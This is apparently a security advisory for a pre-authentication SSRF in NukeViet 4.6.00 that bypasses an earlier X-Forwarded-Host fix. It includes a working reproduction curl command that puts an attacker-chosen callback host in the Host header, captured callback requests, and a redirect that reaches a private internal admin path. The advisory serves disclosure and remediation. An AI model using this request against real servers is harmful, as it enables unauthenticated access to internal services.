NukeViet 4.6.00: Pre-authentication SSRF via incomplete X-Forwarded-Host fix
Description
Pre-authentication SSRF Fix Bypass in NukeViet 4.6.00
Summary
NukeViet 4.6.00 remains vulnerable to pre-authentication SSRF despite the fix for CVE-2026-55372 / GHSA-4chg-4752-w88r.
The fix validates the host derived from X-Forwarded-Host, but NukeViet separately retains the ordinary Host header as NV_SERVER_NAME. During server-information cache initialization, set_ini_file() constructs a cURL URL from this unvalidated value and sends the request before validating it.
An unauthenticated attacker can supply the legitimate configured domain in X-Forwarded-Host while placing an attacker-selected destination in Host.
Affected version
- NukeViet 4.6.00
- Commit:
f47de5cd6577d0d49449754be9bafe9081be4981 - No authentication required
Root cause
Server.phpstoresHostandX-Forwarded-Hostseparately.mainfile.phpperforms the early allowlist check only on the value derived fromX-Forwarded-Host.ini.phpuses the unvalidated ordinary host in an outbound cURL request and follows redirects.- The ordinary host is rejected only after the outbound request has occurred.
Reproduction
Use a fresh callback host reachable from the NukeViet server:
curl --http1.1 -i http://TARGET/ \
-H 'Host: FRESH_CALLBACK_HOST' \
-H 'X-Forwarded-Host: LEGITIMATE_DOMAIN' \
-H 'Connection: close'No session cookie or credentials are required. A 400 Bad Request response is expected because the SSRF occurs before the late host rejection.
The callback receives:
POST /index.php HTTP/1.1
Host: FRESH_CALLBACK_HOST
Referer: http://LEGITIMATE_DOMAIN
Content-Type: application/x-www-form-urlencoded
__serverInfoUpdate=1Verified impact
In a controlled test, the callback server returned:
HTTP/1.1 302 Found
Location: http://PRIVATE_IP:8081/internal/admin/reload?source=ssrf-proofNukeViet followed the redirect, and the private service received:
GET /internal/admin/reload?source=ssrf-proof HTTP/1.1
Host: PRIVATE_IP:8081This proves that an unauthenticated attacker can reach an attacker-selected private HTTP host, port, and path. This could invoke internal administrative endpoints that rely on private-network access as authentication.
The SSRF is blind: response bodies are not returned to the attacker. RCE and response-data theft were not demonstrated.
Remediation
- Validate the ordinary
Hostbefore loadingini.phpor performing any side effect. - Do not construct server-side request URLs from request headers; use a configured canonical origin.
- Disable redirect following for this internal request.
- Trust forwarded headers only from configured reverse proxies.
github.com/